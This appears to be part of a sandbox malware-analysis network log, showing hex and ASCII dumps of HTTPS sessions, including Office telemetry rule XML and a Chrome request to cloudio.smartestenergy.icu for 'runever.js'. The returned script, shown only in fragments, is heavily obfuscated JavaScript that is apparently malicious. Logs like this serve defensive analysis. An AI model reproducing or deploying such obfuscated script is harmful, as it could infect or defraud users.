2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 35 36 64 64 66 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 39 30 39 38 35 2a 5f 30 78 35 36 64 64 66 31 3b 7d 2c 27 4e 62 64 6a 70 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 39 33 64 31 32 2c 5f 30 78 35 35 38 34 31 33 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 39 33 64 31 32 28 5f 30 78 35 35 38 34 31 33 29 3b 7d 2c 27 6e 67 73 50 48 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 64 65 33 64 36 36 2c 5f 30 78 35 32 63 62 64 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 64 65 33 64 36 36 2b 5f 30 78 35 32 63 62 64 35 3b 7d 2c 27 73 4f 49 6e 71 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 32 38 37 39 63 2c 5f 30 78 32 62 64 35 31 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 32 38 37 39 63 28 5f 30 78 32 62 64 35 31 31 29 3b 7d 2c 27 54 78 78 6f 58 27 3a 66 75 6e 63 74 69 6f Data Ascii: 56ddf1){return _0x190985*_0x56ddf1;},'Nbdjp':function(_0x293d12,_0x558413){return _0x293d12(_0x558413);},'ngsPH':function(_0xde3d66,_0x52cbd5){return _0xde3d66+_0x52cbd5;},'sOInq':function(_0x12879c,_0x2bd511){return _0x12879c(_0x2bd511);},'TxxoX':functio
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 29 2c 2d 28 30 78 31 2a 30 78 31 65 66 37 2b 30 78 62 2a 2d 30 78 61 37 2b 2d 30 78 31 37 63 39 29 29 2c 2d 28 2d 30 78 31 65 33 34 2b 30 78 34 66 35 2b 2d 30 78 31 33 2a 2d 30 78 31 63 37 29 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 34 38 32 29 5d 28 30 78 31 2a 2d 30 78 62 66 33 2b 2d 30 78 32 2a 30 78 33 63 37 2b 30 78 31 33 38 33 2c 30 78 65 30 35 2b 2d 30 78 31 35 62 2a 2d 30 78 32 2b 2d 30 78 34 64 61 29 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 32 66 63 29 5d 28 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 32 37 37 29 5d 28 2d 28 2d 30 78 32 32 2a 2d 30 78 32 39 2b 30 78 64 39 61 2a 2d 30 78 33 2b 30 78 31 2a 30 78 33 38 36 37 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 Data Ascii: ),-(0x10x1ef7+0xb-0xa7+-0x17c9)),-(-0x1e34+0x4f5+-0x13-0x1c7)),_0x4a23b6[_0xa8cc25(0x482)](0x1-0xbf3+-0x20x3c7+0x1383,0xe05+-0x15b-0x2+-0x4da)),_0x4a23b6[_0xa8cc25(0x2fc)](_0x4a23b6[_0xa8cc25(0x277)](-(-0x22-0x29+0xd9a-0x3+0x1*0x3867),_0x4a23b6[_0
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 62 38 29 2c 27 67 43 62 77 64 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 34 64 29 2c 27 47 6e 45 6f 47 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 37 36 29 2c 27 51 62 47 4d 4a 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 32 36 33 29 2c 27 74 71 78 56 43 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 33 38 29 2c 27 51 6a 48 64 5a 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 32 37 39 29 2c 27 47 52 6f 74 63 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 63 32 29 2c 27 4b 71 75 5a 77 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 38 30 29 2c 27 69 51 69 67 54 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 38 61 29 2c 27 64 67 72 6e 55 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 37 30 29 2c 27 63 41 54 4d 62 27 3a 5f 30 78 33 Data Ascii: :_0x33d9be(0x4b8),'gCbwd':_0x33d9be(0x34d),'GnEoG':_0x33d9be(0x376),'QbGMJ':_0x33d9be(0x263),'tqxVC':_0x33d9be(0x438),'QjHdZ':_0x33d9be(0x279),'GRotc':_0x33d9be(0x4c2),'KquZw':_0x33d9be(0x380),'iQigT':_0x33d9be(0x38a),'dgrnU':_0x33d9be(0x470),'cATMb':_0x3
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 6d 46 27 2c 27 6c 67 62 42 54 27 2c 27 63 75 53 77 69 27 2c 27 4a 44 66 57 63 27 2c 27 69 7a 51 72 4c 27 2c 27 6e 6c 69 6e 65 2f 66 6c 2f 27 2c 27 62 4e 76 6b 75 27 2c 27 31 30 6f 7a 50 68 77 52 27 2c 27 4b 54 6e 45 78 27 2c 27 79 64 6f 64 50 27 2c 27 33 35 36 37 39 37 38 54 70 54 27 2c 27 4f 6f 57 6a 47 27 2c 27 55 44 5a 78 67 27 2c 27 63 46 7a 70 57 27 2c 27 51 6a 66 42 78 27 2c 27 75 48 43 6b 74 27 2c 27 6d 74 51 4d 75 27 2c 27 78 41 61 55 4f 27 2c 27 48 46 58 57 55 27 2c 27 77 44 58 76 53 27 2c 27 62 6f 72 64 65 72 27 2c 27 35 34 36 35 64 4f 6e 78 6d 73 27 2c 27 4e 74 4e 6d 74 27 2c 27 64 61 74 61 5d 27 2c 27 56 66 44 75 6a 27 2c 27 72 59 68 6f 4a 27 2c 27 4c 41 69 6d 45 27 2c 27 6a 76 67 42 54 27 2c 27 57 53 6c 65 67 27 2c 27 61 59 53 55 71 27 2c 27 Data Ascii: mF','lgbBT','cuSwi','JDfWc','izQrL','nline/fl/','bNvku','10ozPhwR','KTnEx','ydodP','3567978TpT','OoWjG','UDZxg','cFzpW','QjfBx','uHCkt','mtQMu','xAaUO','HFXWU','wDXvS','border','5465dOnxms','NtNmt','data]','VfDuj','rYhoJ','LAimE','jvgBT','WSleg','aYSUq','
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 38 39 2b 30 78 33 65 30 2a 2d 30 78 32 2b 28 2d 30 78 64 65 31 2b 2d 30 78 34 2a 2d 30 78 37 30 36 2b 2d 30 78 65 33 34 29 2a 28 30 78 31 32 33 30 2b 30 78 34 64 30 2b 2d 30 78 31 32 39 33 29 2b 2d 28 30 78 34 31 66 2a 30 78 31 2b 30 78 64 2a 30 78 32 61 66 2b 2d 30 78 31 34 39 35 29 29 5d 3d 5f 30 78 66 62 36 38 32 66 28 2d 28 30 78 63 63 34 2b 30 78 32 34 37 2a 30 78 64 2b 2d 30 78 31 65 64 2a 30 78 31 36 29 2a 2d 28 30 78 32 32 62 31 2b 2d 30 78 34 36 39 2b 30 78 31 2a 2d 30 78 66 30 37 29 2b 28 30 78 39 37 2a 30 78 31 66 2b 30 78 32 34 33 30 2b 2d 30 78 33 36 37 37 29 2a 28 30 78 31 64 64 30 2b 30 78 32 33 61 31 2b 30 78 35 2a 2d 30 78 39 34 33 29 2b 2d 28 2d 30 78 33 62 66 2a 2d 30 78 31 34 2b 2d 30 78 35 36 61 35 2b 30 78 34 30 36 38 29 29 2c 69 66 Data Ascii: 89+0x3e0-0x2+(-0xde1+-0x4-0x706+-0xe34)(0x1230+0x4d0+-0x1293)+-(0x41f0x1+0xd0x2af+-0x1495))]=_0xfb682f(-(0xcc4+0x2470xd+-0x1ed0x16)-(0x22b1+-0x469+0x1-0xf07)+(0x970x1f+0x2430+-0x3677)(0x1dd0+0x23a1+0x5-0x943)+-(-0x3bf*-0x14+-0x56a5+0x4068)),if
2024-11-26 12:43:27 UTC	14241	IN	Data Raw: 2c 2d 30 78 31 2a 30 78 31 33 62 65 2b 30 78 65 39 63 2b 30 78 35 66 39 29 2c 5f 30 78 35 36 37 31 64 36 5b 5f 30 78 34 34 36 31 64 61 28 30 78 33 33 35 29 5d 28 30 78 31 30 36 2a 30 78 31 31 2b 30 78 34 64 33 2a 2d 30 78 32 2b 2d 30 78 37 38 63 2c 30 78 32 36 65 31 2b 2d 30 78 33 61 31 2a 30 78 33 2b 2d 30 78 31 62 34 37 29 29 29 29 5d 28 29 3b 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 66 62 36 38 32 66 28 2d 30 78 31 2a 2d 30 78 31 31 35 33 2b 30 78 32 2a 30 78 38 62 37 2b 2d 30 78 31 65 65 61 2b 2d 28 30 78 39 31 2a 2d 30 78 33 31 2b 2d 30 78 34 37 2a 30 78 38 39 2b 2d 30 78 32 38 30 64 2a 2d 30 78 32 29 2b 28 2d 30 78 31 36 36 2a 2d 30 78 31 30 2b 2d 30 78 31 61 65 62 2b 30 78 34 2a 30 78 33 66 31 29 29 2b 5f 30 78 66 62 36 38 32 66 28 2d 28 30 78 Data Ascii: ,-0x10x13be+0xe9c+0x5f9),_0x5671d6[_0x4461da(0x335)](0x1060x11+0x4d3-0x2+-0x78c,0x26e1+-0x3a10x3+-0x1b47))))]();}),document[_0xfb682f(-0x1-0x1153+0x20x8b7+-0x1eea+-(0x91-0x31+-0x470x89+-0x280d-0x2)+(-0x166-0x10+-0x1aeb+0x4*0x3f1))+_0xfb682f(-(0x

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:27 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:27 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:27 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124327Z-174f7845968cdxdrhC1EWRg0en0000000vg0000000001aa6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-26 12:43:28 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49712	13.57.116.250	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:29 UTC	378	OUT	GET /hustines/luketurg/runever.js HTTP/1.1 Host: cloudio.smartestenergy.icu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:30 UTC	429	IN	HTTP/1.1 200 OK etag: "1b7a1-673ac020-13cf93;;;" last-modified: Mon, 18 Nov 2024 04:18:40 GMT content-type: text/javascript content-length: 112545 accept-ranges: bytes date: Tue, 26 Nov 2024 12:43:29 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 63 33 35 64 30 2c 5f 30 78 65 65 32 30 32 33 29 7b 63 6f 6e 73 74 20 5f 30 78 33 31 65 37 63 39 3d 5f 30 78 32 34 64 35 2c 5f 30 78 34 30 66 31 30 61 3d 5f 30 78 33 63 33 35 64 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 35 34 36 62 34 34 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 35 66 29 29 2f 28 2d 30 78 32 62 39 2b 2d 30 78 31 30 33 2a 2d 30 78 37 2b 30 78 34 35 62 2a 2d 30 78 31 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 66 36 29 29 2f 28 30 78 32 2a 30 78 31 33 33 34 2b 30 78 31 32 38 31 2b 2d 30 78 33 38 65 37 2a 30 78 31 29 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 65 37 29 Data Ascii: (function(_0x3c35d0,_0xee2023){const _0x31e7c9=_0x24d5,_0x40f10a=_0x3c35d0();while(!![]){try{const _0x546b44=parseInt(_0x31e7c9(0x25f))/(-0x2b9+-0x103-0x7+0x45b-0x1)+-parseInt(_0x31e7c9(0x2f6))/(0x20x1334+0x1281+-0x38e70x1)*(-parseInt(_0x31e7c9(0x2e7)
2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 35 36 64 64 66 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 39 30 39 38 35 2a 5f 30 78 35 36 64 64 66 31 3b 7d 2c 27 4e 62 64 6a 70 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 39 33 64 31 32 2c 5f 30 78 35 35 38 34 31 33 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 39 33 64 31 32 28 5f 30 78 35 35 38 34 31 33 29 3b 7d 2c 27 6e 67 73 50 48 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 64 65 33 64 36 36 2c 5f 30 78 35 32 63 62 64 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 64 65 33 64 36 36 2b 5f 30 78 35 32 63 62 64 35 3b 7d 2c 27 73 4f 49 6e 71 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 32 38 37 39 63 2c 5f 30 78 32 62 64 35 31 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 32 38 37 39 63 28 5f 30 78 32 62 64 35 31 31 29 3b 7d 2c 27 54 78 78 6f 58 27 3a 66 75 6e 63 74 69 6f Data Ascii: 56ddf1){return _0x190985*_0x56ddf1;},'Nbdjp':function(_0x293d12,_0x558413){return _0x293d12(_0x558413);},'ngsPH':function(_0xde3d66,_0x52cbd5){return _0xde3d66+_0x52cbd5;},'sOInq':function(_0x12879c,_0x2bd511){return _0x12879c(_0x2bd511);},'TxxoX':functio
